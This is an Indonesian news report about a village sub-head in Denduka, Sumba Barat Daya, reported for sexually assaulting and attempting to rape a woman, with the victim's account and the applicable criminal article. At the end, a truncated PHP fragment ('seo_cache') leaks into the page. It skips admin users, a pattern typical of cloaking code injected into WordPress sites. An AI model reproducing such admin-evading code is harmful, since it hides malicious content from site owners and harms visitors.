Kriminal

Kepala Dusun di Denduka Dilaporkan Cabuli Seorang Ibu, Hukuman 9 Tahun Penjara Menanti

×

Kepala Dusun di Denduka Dilaporkan Cabuli Seorang Ibu, Hukuman 9 Tahun Penjara Menanti

Sebarkan artikel ini

WEWEWA SELATAN, MENARASUMBA.COM – Nasib naas dialami MD (42) warga Desa Denduka, Kecamatan Wewewa Selatan, Sumba Barat Daya.

Wanita yang beralamat di Puu Uppo, Dusun 3 ini dicabuli seorang perangkat desa setempat hingga nyaris diperkosa.

Beruntung tindakan bejad YDN yang juga seorang kepala dusun pada Jumat (27/02/2026) lalu ini gagal.

Terlapor pelaku pencabulan yang juga perangkat Desa Denduka.

“Awalnya ia menawarkan boncengan saat saya pulang mengikuti arisan keluarga,” kisah MD kepada awak media, Rabu (11/03/2026).

Dalam perjalanan pulang ke rumah, MD menggendong anaknya sambil menenteng bawaan berupa nasi dan lauk dari hajatan arisan.

Ia menolak tawaran itu, namun YDN tetap memaksa dengan alasan hendak meminta ayam pada MD.

“Ia terus memaksa, padahal saya sudah katakan tidak punya ayam,” lanjut MD.

Meski berat hati ia akhirnya terpaksa ikuti permintaan itu, karena sang kepala dusun masih terhitung kerabat.

Saat turun di tujuan, YDN tidak melanjutkan perjalanan tapi justru memarkir motor dan mengikuti langkah MD menuju rumah yang letaknya agak jauh dari jalan.

“Saya bilang kenapa ikut, ia jawab mau minta ayam biar masih kecil. Padahal sudah saya tolak, apalagi suami saya juga tidak berada di rumah,” sebutnya lagi.

Modus Sakit Kepala

Tiba di rumah sudah maghrib, dan saat itu telah ada sepasang suami istri kerabat MD lainnya yang berkunjung.

MD (42) korban pencabulan yang hampir saja diperkosa kepala dusun.

YDN kemudian berpura-pura sakit kepala dan meminta agar diizinkan rebahan sejenak.

“Saya tidak curiga karena ia masih kerabat dan saat itu kami tidak sendirian di rumah, ada sepasang suami istri yang berkunjung,” tutur MD.

Ia mulai tidak tenang ketika sepasang suami istri tersebut pamit, namun YDN tak kunjung keluar dari kamar tempatnya berbaring.

Waktu sudah hampir pukul 20.00 ia lalu teringat kambing beranak di samping rumah yang belum diberi rumput.

Ia keluar memberi makan kambing dan kemudian terdengar suara YDN memanggil untuk pamit pulang.

Usai memberi rumput kambing ia kembali masuk dan saat itulah YDN langsung menyergapnya di ruang tamu.

“Ia langsung memiting dari belakang, menyumbat mulut saya dan menyeret ke dalam kamar depan,” bebernya.

YDN yang sudah kalap dikuasai birahi setan itu pun membanting MD ke tempat tidur dan berupaya memerkosa wanita tidak berdaya ini.

Teriakan MD yang mulutnya dibekap pelaku tidak kedengaran tetangga, apalagi jarak rumah berjauhan.

Ancaman 9 Tahun Penjara

Beruntung di saat kritis itu anak sulung MD yang baru pulang mengikuti pertemuan keluarga tiba di rumah.

Mendengar teriakan ia langsung masuk rumah memanggil ibunya, dan saat itulah YDN keluar dari kamar mengangkat kedua tangannya sambil meminta maaf.

“Anak saya berteriak meminta pertolongan namun tak ada satu pun yang mendengar,” imbuh MD.

YDN yang kabur dalam kegelapan malam di dusun sunyi tanpa listrik ini berhasil lolos.

Peristiwa itu dilaporkan ke Pemerintah Desa Denduka, pada Senin (02/03/2026) yang kemudian menyerahkan urusan ini kepada pihak berwajib.

Korban juga telah divisum oleh tenaga medis RSUD Reda Bolo pada Senin (02/03/2026) hari yang sama dimana korban melapor ke Polres SBD.

YDN yang menjabat Kepala Dusun 1, Desa Denduka, Kecamatan Wewewa Selatan ini terjerat Pasal 414 UU Nomor 1 Tahun 2023 (KUHP baru) dengan ancaman hukuman 9 tahun penjara. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>